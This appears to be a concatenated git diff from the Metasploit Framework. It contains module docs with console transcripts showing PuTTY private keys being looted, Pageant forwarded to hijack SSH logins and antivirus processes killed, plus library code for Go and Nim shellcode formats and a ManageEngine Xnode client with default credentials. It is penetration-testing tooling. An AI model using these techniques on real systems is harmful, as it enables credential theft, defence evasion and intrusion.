|
||||
### SocketPath
|
||||
|
||||
Specify a filename for the local UNIX socket. (default path is random)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Pageant 0.77.0.0 on Windows 7 SP1 (x64)
|
||||
|
||||
Use `windows/gather/enum_putty_saved_sessions` to detect Pageant and known hosts:
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_putty_saved_sessions
|
||||
msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_putty_saved_sessions) > run
|
||||
|
||||
[*] Looking for saved PuTTY sessions
|
||||
[*] Found 3 sessions
|
||||
|
||||
PuTTY Saved Sessions
|
||||
====================
|
||||
|
||||
Name HostName UserName PublicKeyFile PortNumber PortForwardings ProxyUsername ProxyPassword
|
||||
---- -------- -------- ------------- ---------- --------------- ------------- -------------
|
||||
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk 22
|
||||
example.com example.com C:\Users\user\Desktop\serial1.ppk 22
|
||||
serial1 C:\Users\user\Desktop\serial1.ppk 0
|
||||
|
||||
[+] PuTTY saved sessions list saved to /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.sessions.c_273976.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
|
||||
[*] Downloading private keys...
|
||||
[+] PuTTY private key file for '192.168.200.158' (C:\Users\user\Desktop\ubuntu22.ppk) saved to: /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.ppk.file_988729.bin
|
||||
[+] PuTTY private key file for 'example.com' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_341943.bin
|
||||
[+] PuTTY private key file for 'serial1' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_265111.bin
|
||||
|
||||
|
||||
PuTTY Private Keys
|
||||
==================
|
||||
|
||||
Name HostName UserName PublicKeyFile Type Cipher Comment
|
||||
---- -------- -------- ------------- ---- ------ -------
|
||||
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk
|
||||
example.com example.com C:\Users\user\Desktop\serial1.ppk
|
||||
serial1 C:\Users\user\Desktop\serial1.ppk
|
||||
|
||||
|
||||
[*] Looking for previously stored SSH host key fingerprints
|
||||
[*] Found 1 stored key fingerprint
|
||||
[*] Downloading stored key fingerprints...
|
||||
|
||||
Stored SSH host key fingerprints
|
||||
================================
|
||||
|
||||
SSH Endpoint Key Type(s)
|
||||
------------ -----------
|
||||
192.168.200.158:22 ssh-ed25519
|
||||
|
||||
[+] PuTTY stored host keys list saved to /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.storedfing_027625.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
|
||||
|
||||
[*] Looking for Pageant...
|
||||
[+] Pageant is running (Handle 0x330820)
|
||||
[*] Post module execution completed
|
||||
|
||||
```
|
||||
|
||||
Establish a local forward with `post/windows/manage/forward_pageant`:
|
||||
|
||||
```
|
||||
msf6 > use post/windows/manage/forward_pageant
|
||||
msf6 post(windows/manage/forward_pageant) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/manage/forward_pageant) > run
|
||||
|
||||
[*] Launched listening socket on /tmp/bVN4Dg2W
|
||||
[*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W")
|
||||
[*] Now use any SSH tool normally (e.g. ssh-add)
|
||||
```
|
||||
|
||||
Specify the `SSH_AUTH_SOCK` UNIX socket path when using ssh tools:
|
||||
|
||||
```
|
||||
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh-add -l
|
||||
3072 SHA256:/M07p51CmCSMrV1lbFs19OMvyRw6g9Wxbq8bW5px0KA asdf@ubuntu-22-04-amd64 (RSA)
|
||||
|
||||
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh asdf@192.168.200.158
|
||||
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com
|
||||
* Management: https://landscape.canonical.com
|
||||
* Support: https://ubuntu.com/advantage
|
||||
|
||||
209 updates can be applied immediately.
|
||||
29 of these updates are standard security updates.
|
||||
To see these additional updates run: apt list --upgradable
|
||||
|
||||
*** System restart required ***
|
||||
Last login: Sun Aug 7 22:19:04 2022 from 192.168.200.130
|
||||
asdf@ubuntu-22-04-amd64:~$
|
||||
```
|
||||
@@ -0,0 +1,34 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to locate and terminate any processes that are identified
|
||||
as being Antivirus or Host-based IPS related.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/manage/killav`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 SP1 (x64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/manage/killav
|
||||
msf6 post(windows/manage/killav) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/manage/killav) > run
|
||||
|
||||
[*] Attempting to terminate 'antivirus.exe' (PID: 5340) ...
|
||||
[+] antivirus.exe (PID: 5340) terminated.
|
||||
[*] Attempting to terminate 'regedit.exe' (PID: 2296) ...
|
||||
[+] regedit.exe (PID: 2296) terminated.
|
||||
[+] A total of 2 process(es) were discovered, 2 were terminated.
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/manage/killav) >
|
||||
```
|
||||
Vendored
+1
-1
@@ -231,7 +231,7 @@ _arguments \
|
||||
"--list-options[List --payload <value>'s standard, advanced and evasion options]" \
|
||||
"--pad-nops[Use nopsled size specified by -n \<length\> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)]" \
|
||||
"--platform[The platform for --payload (use --list platforms to list)]:target platform:_msfvenom_platform" \
|
||||
{-a,--arch}"[The architecture to use for --payload and --encoders (use --list archs to list)]:architecture:_msfvenom_archs" \
|
||||
{-a,--arch}"[The architecture to use for --payload and --encoders (use --list archs to list)]:architecture:_msfvenom_arch" \
|
||||
{-b,--bad-chars}"[Characters to avoid example: '\x00\xff']:bad characters" \
|
||||
{-c,--add-code}"[Specify an additional win32 shellcode file to include]:shellcode file:_files" \
|
||||
{-e,--encoder}"[The encoder to use (use --list encoders to list)]:encoder:_msfvenom_encoder" \
|
||||
|
||||
@@ -52,8 +52,13 @@ module Metasploit
|
||||
else
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Rex::ConnectionError => e
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
result_options[:proof] = e
|
||||
rescue => e
|
||||
elog(e)
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
result_options[:proof] = e
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
|
||||
@@ -80,7 +80,7 @@ module Metasploit
|
||||
opt_hash
|
||||
)
|
||||
end
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET => e
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET, Errno::EPIPE => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Net::SSH::Exception => e
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.10"
|
||||
VERSION = "6.2.18"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides the ability to receive a custom stage callback
|
||||
#
|
||||
###
|
||||
class Custom
|
||||
|
||||
#
|
||||
# This interface supports basic interaction.
|
||||
#
|
||||
include Msf::Session
|
||||
include Msf::Session::Basic
|
||||
|
||||
attr_accessor :arch
|
||||
attr_accessor :platform
|
||||
|
||||
#
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
"custom"
|
||||
end
|
||||
|
||||
def initialize(rstream, opts = {})
|
||||
super
|
||||
self.platform ||= ""
|
||||
self.arch ||= ""
|
||||
datastore = opts[:datastore]
|
||||
end
|
||||
|
||||
def self.create_session(rstream, opts = {})
|
||||
Msf::Sessions::Custom.new(rstream, opts)
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
cleanup
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_good("Custom stage sent; session has been closed")
|
||||
if rstream
|
||||
# this is also a best-effort
|
||||
rstream.close rescue nil
|
||||
rstream = nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
"Custom"
|
||||
end
|
||||
|
||||
def self.can_cleanup_files
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the class method
|
||||
#
|
||||
def type
|
||||
self.class.type
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -259,11 +259,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
@shell = nil
|
||||
end
|
||||
|
||||
def shell_command(cmd)
|
||||
def shell_command(cmd, timeout = 5)
|
||||
# Send the shell channel's stdin.
|
||||
shell_write(cmd + "\n")
|
||||
|
||||
timeout = 5
|
||||
etime = ::Time.now.to_f + timeout
|
||||
buff = ""
|
||||
|
||||
@@ -413,7 +412,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
|
||||
def update_session_info
|
||||
# sys.config.getuid, and fs.dir.getwd cache their results, so update them
|
||||
fs.dir.getwd
|
||||
fs&.dir&.getwd
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
|
||||
@@ -56,8 +56,12 @@ module Scriptable
|
||||
#
|
||||
def legacy_script_to_post_module(script_name)
|
||||
{
|
||||
'arp_scanner' => 'post/windows/gather/arp_scanner',
|
||||
'autoroute' => 'post/multi/manage/autoroute',
|
||||
'checkvm' => 'post/windows/gather/checkvm',
|
||||
'credcollect' => 'post/windows/gather/credentials/credential_collector',
|
||||
'domain_list_gen' => 'post/windows/gather/enum_domain_group_users',
|
||||
'dumplinks' => 'post/windows/gather/dumplinks',
|
||||
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
|
||||
'enum_chrome' => 'post/windows/gather/enum_chrome',
|
||||
'enum_firefox' => 'post/windows/gather/enum_firefox',
|
||||
@@ -69,6 +73,7 @@ module Scriptable
|
||||
'get_application_list' => 'post/windows/gather/enum_applications',
|
||||
'get_env' => 'post/multi/gather/env',
|
||||
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
|
||||
'get_pidgin_creds' => 'post/multi/gather/pidgin_cred',
|
||||
'get_local_subnets' => 'post/multi/manage/autoroute',
|
||||
'get_valid_community' => 'post/windows/gather/enum_snmp',
|
||||
'getcountermeasure' => 'post/windows/manage/killav',
|
||||
@@ -80,6 +85,7 @@ module Scriptable
|
||||
'killav' => 'post/windows/manage/killav',
|
||||
'metsvc' => 'exploit/windows/local/persistence',
|
||||
'migrate' => 'post/windows/manage/migrate',
|
||||
'panda_2007_pavsrv51' => 'exploit/windows/local/service_permissions',
|
||||
'pml_driver_config' => 'exploit/windows/local/service_permissions',
|
||||
'packetrecorder' => 'post/windows/manage/rpcapd_start',
|
||||
'persistence' => 'exploit/windows/local/persistence',
|
||||
@@ -90,6 +96,8 @@ module Scriptable
|
||||
'screenspy' => 'post/windows/gather/screen_spy',
|
||||
'search_dwld' => 'post/windows/gather/enum_files',
|
||||
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
|
||||
'sound_recorder' => 'post/multi/manage/record_mic',
|
||||
'srt_webdrive_priv' => 'exploit/windows/local/service_permissions',
|
||||
'uploadexec' => 'post/windows/manage/download_exec',
|
||||
'webcam' => 'post/windows/manage/webcam',
|
||||
'wmic' => 'post/windows/gather/wmic_command',
|
||||
|
||||
@@ -31,20 +31,19 @@ module Msf::Sessions
|
||||
'SSH command shell'
|
||||
end
|
||||
|
||||
def shell_command(cmd)
|
||||
def shell_command(cmd, timeout = 5)
|
||||
# Send the command to the session's stdin.
|
||||
shell_write(cmd + "\n")
|
||||
|
||||
timeo = 0.5
|
||||
etime = ::Time.now.to_f + timeo
|
||||
buff = ''
|
||||
etime = ::Time.now.to_f + timeout
|
||||
buff = ""
|
||||
|
||||
# Keep reading data until no more data is available or the timeout is
|
||||
# reached.
|
||||
while ((::Time.now.to_f < etime) && ::IO.select([rstream.fd_rd], nil, nil, timeo))
|
||||
while ::Time.now.to_f < etime && ::IO.select([rstream.fd_rd], nil, nil, timeout)
|
||||
res = shell_read(-1, 0.01)
|
||||
buff << res if res
|
||||
timeo = etime - ::Time.now.to_f
|
||||
timeout = etime - ::Time.now.to_f
|
||||
end
|
||||
|
||||
buff
|
||||
|
||||
@@ -61,6 +61,10 @@ module Buffer
|
||||
buf = Rex::Text.encode_base32(buf)
|
||||
when 'base64'
|
||||
buf = Rex::Text.encode_base64(buf)
|
||||
when 'go','golang'
|
||||
buf = Rex::Text.to_golang(buf)
|
||||
when 'nim','nimlang'
|
||||
buf = Rex::Text.to_nim(buf)
|
||||
else
|
||||
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
|
||||
end
|
||||
@@ -93,6 +97,10 @@ module Buffer
|
||||
buf = Rex::Text.to_c_comment(buf)
|
||||
when 'powershell','ps1'
|
||||
buf = Rex::Text.to_psh_comment(buf)
|
||||
when 'go','golang'
|
||||
buf = Rex::Text.to_golang_comment(buf)
|
||||
when 'nim','nimlang'
|
||||
buf = Rex::Text.to_nim_comment(buf)
|
||||
else
|
||||
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
|
||||
end
|
||||
@@ -112,10 +120,14 @@ module Buffer
|
||||
'csharp',
|
||||
'dw',
|
||||
'dword',
|
||||
'go',
|
||||
'golang',
|
||||
'hex',
|
||||
'java',
|
||||
'js_be',
|
||||
'js_le',
|
||||
'nim',
|
||||
'nimlang',
|
||||
'num',
|
||||
'perl',
|
||||
'pl',
|
||||
|
||||
@@ -77,7 +77,7 @@ class Msf::Analyze
|
||||
port = svc.port
|
||||
next if evaluated_module_targets.include?([fnd_mod, port])
|
||||
|
||||
creds = @framework.db.creds(svcs: [svc.name])
|
||||
creds = @framework.db.creds(svcs: [svc.name], workspace: eval_host.workspace)
|
||||
r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},
|
||||
available_creds: creds, payloads: payloads, framework: @framework)
|
||||
if r.match?
|
||||
@@ -98,7 +98,7 @@ class Msf::Analyze
|
||||
to_evaluate_with_defaults.each do |fnd_mod, port|
|
||||
next if evaluated_module_targets.include?([fnd_mod, port])
|
||||
|
||||
creds = @framework.db.creds(port: port) if port
|
||||
creds = @framework.db.creds(port: port, workspace: eval_host.workspace) if port
|
||||
r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},
|
||||
available_creds: creds, payloads: payloads, framework: @framework)
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module provides a way of interacting with ManageEngine Xnode server
|
||||
# as used in ADAudit Plus and DataSecurity Plus
|
||||
#
|
||||
###
|
||||
module Auxiliary::ManageEngineXnode
|
||||
include Msf::Auxiliary::ManageEngineXnode::Action
|
||||
include Msf::Auxiliary::ManageEngineXnode::BasicChecks
|
||||
include Msf::Auxiliary::ManageEngineXnode::Config
|
||||
include Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
include Msf::Auxiliary::ManageEngineXnode::Process
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('USERNAME', [true, 'Username used to authenticate to the Xnode server', 'atom']),
|
||||
Msf::OptString.new('PASSWORD', [true, 'Password used to authenticate to the Xnode server', 'chegan']),
|
||||
], Msf::Auxiliary::ManageEngineXnode
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,65 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageEngineXnode::Action
|
||||
# Returns an Xnode authentication request hash
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @return [Hash] Xnode authentication request
|
||||
def action_authenticate(user,pass)
|
||||
{
|
||||
"username" => user,
|
||||
"password" => pass,
|
||||
"action" => "session:/authenticate"
|
||||
}
|
||||
end
|
||||
|
||||
# Returns an Xnode health status request hash
|
||||
#
|
||||
# @return [Hash] Xnode health status request
|
||||
def action_admin_health
|
||||
{
|
||||
"action" => "admin:/health",
|
||||
"de_health" => true,
|
||||
"request_id" => 1,
|
||||
}
|
||||
end
|
||||
|
||||
# Returns an Xnode info request hash
|
||||
#
|
||||
# @return [Hash] Xnode info request
|
||||
def action_xnode_info
|
||||
{
|
||||
"action" => "admin:/xnode_info",
|
||||
"request_id" => 1,
|
||||
}
|
||||
end
|
||||
|
||||
# Returns an Xnode DataRepository Search request hash
|
||||
#
|
||||
# @param repo_name [String] Name of the DataRepository to query
|
||||
# @param fields [Array] data repository fields (columns) to dump
|
||||
# @param custom_query [Hash] A hash containing a custom query to merge with the query hash
|
||||
# @return [Hash] Xnode data repository search request
|
||||
def action_dr_search(repo_name, fields=nil, custom_query=nil)
|
||||
time_gen_from = rand(0..10000000) # generate random Unix timestamp somewhere in 1970 (aka Epoch), used below as the "from" date, to ensure we get all data we want
|
||||
time_gen_to = Time.now.to_i + 100000 # take the current time and add 100,000 seconds (a little over a day) to rule out any issues arising from time zone differences
|
||||
query = {
|
||||
"action" => 'dr:/dr_search',
|
||||
"dr_name_list" => [repo_name],
|
||||
"query" => "TIME_GENERATED:[#{time_gen_from} TO #{time_gen_to}]", # this uses Unix Timestamp format
|
||||
"request_id" => 1,
|
||||
}
|
||||
|
||||
# pass the fields (columns) to dump if possible
|
||||
if fields
|
||||
query['select_fields'] = fields
|
||||
end
|
||||
|
||||
if custom_query
|
||||
query = query.merge(custom_query)
|
||||
end
|
||||
|
||||
query
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,73 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageEngineXnode::BasicChecks
|
||||
include Msf::Auxiliary::ManageEngineXnode::Action
|
||||
include Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
# Performs a sanity check and an authentication attempt against Xnode to verify if the target is Xnode and if we can authenticate
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param username [String] Username
|
||||
# @param password [String] Password
|
||||
# @return [Array] Array containing a response code (Integer) and a status message (String)
|
||||
def xnode_check(sock, username, password)
|
||||
res_code, res_msg = xnode_sanity_check(sock)
|
||||
if res_code != 0
|
||||
return [res_code, res_msg]
|
||||
end
|
||||
|
||||
print_status(res_msg)
|
||||
xnode_authenticate(sock, username, password)
|
||||
end
|
||||
|
||||
# Checks if a target is likely Xnode by sending an empty JSON hash and parsing the response
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @return [Array] Array containing a response code (Integer) and a status message (String)
|
||||
def xnode_sanity_check(sock)
|
||||
# sanity check: send empty request to see if we get the expected `Authentication failed!` response
|
||||
vprint_status('Attempting to verify if the target is Xnode by sending an empty JSON hash')
|
||||
res = send_to_sock(sock, {})
|
||||
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash) && res['response'].include?('error_msg')
|
||||
return [2, 'Received unexpected response. The target does not seem to be an Xnode server.']
|
||||
end
|
||||
|
||||
error_msg = res['response']['error_msg']
|
||||
case error_msg
|
||||
when 'Authentication failed!'
|
||||
return [0, 'Target seems to be Xnode.']
|
||||
when 'Remote request-processing disabled!!'
|
||||
return [1, 'Target is Xnode, but remote request-processing is disabled.']
|
||||
else
|
||||
return [2, "Received the following unexpected error message from Xnode: #{error_msg}"]
|
||||
end
|
||||
end
|
||||
|
||||
# Performs an Xnode authentication attempt and parses the response
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param username [String] Username
|
||||
# @param password [String] Password
|
||||
# @return [Array] Array containing a response code (Integer) and a status message (String)
|
||||
def xnode_authenticate(sock, username, password)
|
||||
res = send_to_sock(sock, action_authenticate(username, password))
|
||||
|
||||
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
|
||||
return [2, 'Received unexpected response when trying to authenticate.']
|
||||
end
|
||||
|
||||
if res['response']['status'] == 'authentication_success'
|
||||
return [0, 'Successfully authenticated to the Xnode server.']
|
||||
end
|
||||
|
||||
if res['response'].include?('error_msg')
|
||||
case res['response']['error_msg']
|
||||
when 'Authentication failed!'
|
||||
return [1, 'Failed to authenticate to the Xnode server.']
|
||||
when 'Remote request-processing disabled!!'
|
||||
return [1, 'Remote request-processing is disabled on the Xnode server.']
|
||||
end
|
||||
end
|
||||
|
||||
[2, 'Received unexpected response when trying to authenticate.']
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,73 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageEngineXnode::Config
|
||||
CONFIG_FILE_DOES_NOT_EXIST = 1
|
||||
CANNOT_READ_CONFIG_FILE = 2
|
||||
DATA_TO_DUMP_EMPTY = 3
|
||||
DATA_TO_DUMP_WRONG_FORMAT = 4
|
||||
|
||||
# Reads the configuration file for the current ManageEngine Xnode module in order to obtain the data repositories (tables) and fields (columns) to dump.
|
||||
#
|
||||
# @param config_file [String] String containing the full path to the configuration file to read.
|
||||
# @return [Hash, Integer] Hash containing the data repositories (tables) and their fields (columns) to dump if reading the config file succeeded, error code otherwise
|
||||
def grab_config(config_file)
|
||||
# get the specified data repositories (tables) and fields (columns) to dump from the config file
|
||||
return CONFIG_FILE_DOES_NOT_EXIST unless File.exists? config_file
|
||||
|
||||
begin
|
||||
config_contents = File.read(config_file)
|
||||
data_to_dump = YAML.safe_load((config_contents))
|
||||
rescue StandardError => e
|
||||
print_error("Encountered the following error while trying to load #{config_file}:")
|
||||
print_error(e.to_s)
|
||||
return CANNOT_READ_CONFIG_FILE
|
||||
end
|
||||
|
||||
return DATA_TO_DUMP_EMPTY if data_to_dump.empty?
|
||||
|
||||
return DATA_TO_DUMP_WRONG_FORMAT unless data_to_dump.instance_of?(Hash)
|
||||
|
||||
data_to_dump
|
||||
end
|
||||
|
||||
# Returns an array of data repositories that may exist in ManageEngine Audit Plus
|
||||
#
|
||||
# @return [Array] list of possible data repositories in ManageEngine Audit Plus
|
||||
def ad_audit_plus_data_repos
|
||||
[
|
||||
'AdapFileAuditLog',
|
||||
'AdapPowershellAuditLog',
|
||||
'AdapSysMonAuditLog',
|
||||
'AdapDNSAuditLog',
|
||||
'AdapADReplicationAuditLog',
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
# Returns an array of data repositories that may exist in ManageEngine DataSecurity Plus
|
||||
#
|
||||
# @return [Array] list of possible data repositories in ManageEngine DataSecurity Plus
|
||||
def datasecurity_plus_data_repos
|
||||
[
|
||||
'DSPEmailAuditAttachments',
|
||||
'DSPEmailAuditReport',
|
||||
'DSPEndpointAuditReport',
|
||||
'DSPEndpointClassificationReport',
|
||||
'DSPEndpointIncidentReport',
|
||||
'DspEndpointPrinterAuditReport',
|
||||
'DspEndpointWebAuditReport',
|
||||
'DSPFileAnalysisAlerts',
|
||||
'RAAlertHistory',
|
||||
'RAIncidents',
|
||||
'RAViolationRecords',
|
||||
]
|
||||
end
|
||||
|
||||
# Returns the full module so that config_status::<status> can be used in the modules importing this library
|
||||
# as shorthand to access the error codes defined at the start of the module
|
||||
#
|
||||
# @return [Module] Msf::Auxiliary::ManageEngineXnode::Config
|
||||
def config_status
|
||||
Msf::Auxiliary::ManageEngineXnode::Config
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,89 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageEngineXnode::Interact
|
||||
# Create a socket to connect to an Xnode server and rescue any resulting errors
|
||||
#
|
||||
# @param rhost [String] Target IP
|
||||
# @param rport [Integer] Target port
|
||||
# @return [Array] Array containing of a response code (Integer) and either a Socket (when a connection is established) or an error message (String)
|
||||
def create_socket_for_xnode(rhost, rport)
|
||||
vprint_status('Attempting to establish a connection with the remote server...')
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport
|
||||
)
|
||||
rescue => e
|
||||
vprint_status("Encountered the following exception type: #{e.class}")
|
||||
return [1, e.message]
|
||||
end
|
||||
|
||||
vprint_status('Successfully connected to the remote server')
|
||||
[0, sock]
|
||||
end
|
||||
|
||||
# Sends a request to an Xnode server
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param action_hash [Hash] Hash containing an Xnode-compatible request
|
||||
# @return [Hash, nil] Hash containing a JSON-parsed Xnode server response if interaction with the server succeeded, nil otherwise
|
||||
def send_to_sock(sock, action_hash)
|
||||
unless action_hash.instance_of?(Hash)
|
||||
print_error('The provided Xnode action is not a valid Hash. The request will not be performed.')
|
||||
return nil
|
||||
end
|
||||
begin
|
||||
vprint_status("Sending request: #{action_hash}")
|
||||
|
||||
sock.put(action_hash.to_json)
|
||||
# using sock.get for reading because the server doesn't send newlines so sock.read doesn't work
|
||||
# sock.recv won't work either since the message length can be (and often is) larger than the max of 65535
|
||||
r = sock.get
|
||||
rescue StandardError => e
|
||||
print_error("Encountered the following error while trying to interact with the Xnode server:")
|
||||
print_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_status("Received response: #{r}")
|
||||
|
||||
# attempt to JSON parse the response
|
||||
begin
|
||||
return JSON.parse(r)
|
||||
rescue JSON::ParserError => e
|
||||
print_error("Encountered the following error while trying to JSON parse the response from the Xnode server:")
|
||||
print_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Calls send_to_sock and performs basic checks on the received response to ensure it is valid
|
||||
#
|
||||
# @param sock [Socket] Socket to use for the request
|
||||
# @param action_hash [Hash] Hash containing an Xnode-compatible request
|
||||
# @param warning_message [String] String to print via print_warning if the server response doesn't match the expected format
|
||||
# @param expected_response_key [String] String that should be present as a key in the 'response' hash that is expected to be part of the JSON response
|
||||
# @return [Array] Array containing a response code and a JSON-parsed Xnode server response hash if interaction with the server succeeded, Array containing a response code and nil otherwise
|
||||
def get_response(sock, action_hash, warning_message=nil, expected_response_key=nil)
|
||||
res = send_to_sock(sock, action_hash)
|
||||
return [1, nil] if res.nil?
|
||||
|
||||
unless res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash)
|
||||
if warning_message
|
||||
print_warning(warning_message)
|
||||
end
|
||||
return [1, res]
|
||||
end
|
||||
|
||||
if expected_response_key
|
||||
unless res['response'].keys.include?(expected_response_key)
|
||||
if warning_message
|
||||
print_warning(warning_message)
|
||||
end
|
||||
return [1, res]
|
||||
end
|
||||
end
|
||||
|
||||
[0, res]
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,106 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Auxiliary::ManageEngineXnode::Process
|
||||
# Processes the obtained server response from a ManageEngine Xnode data repository search request
|
||||
#
|
||||
# @param res [Hash] JSON-parsed response from the Xnode server. This should be a Hash.
|
||||
# @param res_code [Integer] Response code received during the previous get_response call
|
||||
# @param repo_name [String] Name of the data repository that was queried
|
||||
# @param fields [Array] names of the data repository fields (columns) that were dumped
|
||||
# @param mode [String] the type of query that was performed: standard, total_hits, aggr_min or aggr_max
|
||||
# @return [Array, nil] Array containing the parsed query results if parsing succeeds, nil otherwise
|
||||
def process_dr_search(res, res_code, repo_name, fields=nil, mode='standard')
|
||||
if res_code == 1 || res.nil? || !(res.instance_of?(Hash) && res.keys.include?('response') && res['response'].instance_of?(Hash))
|
||||
vprint_error("Received unexpected reply when trying to dump table #{repo_name}: #{res}")
|
||||
return nil
|
||||
end
|
||||
|
||||
response = res['response']
|
||||
|
||||
unless response.include?('search_result') && response.include?('total_hits')
|
||||
if response.include?('error_msg')
|
||||
error_msg = response['error_msg']
|
||||
if /DataRepository for '#{repo_name}' not found!/ =~ error_msg
|
||||
print_status("The data repository #{repo_name} is not available on the target.")
|
||||
else
|
||||
print_error("Received error message: #{error_msg}")
|
||||
end
|
||||
else
|
||||
print_error("Received unexpected query response: #{response}")
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
case mode
|
||||
when 'total_hits'
|
||||
# try to grab the total hits
|
||||
total_hits = response['total_hits']
|
||||
unless total_hits && total_hits.is_a?(Integer)
|
||||
print_error("Received unexpected reply when trying to obtain the number of total hits for table #{repo_name}.")
|
||||
print_warning("The target may not be exploitable.")
|
||||
return nil
|
||||
end
|
||||
|
||||
if total_hits == 0
|
||||
print_status("Data repository #{repo_name} is empty.")
|
||||
return nil
|
||||
end
|
||||
|
||||
return [total_hits]
|
||||
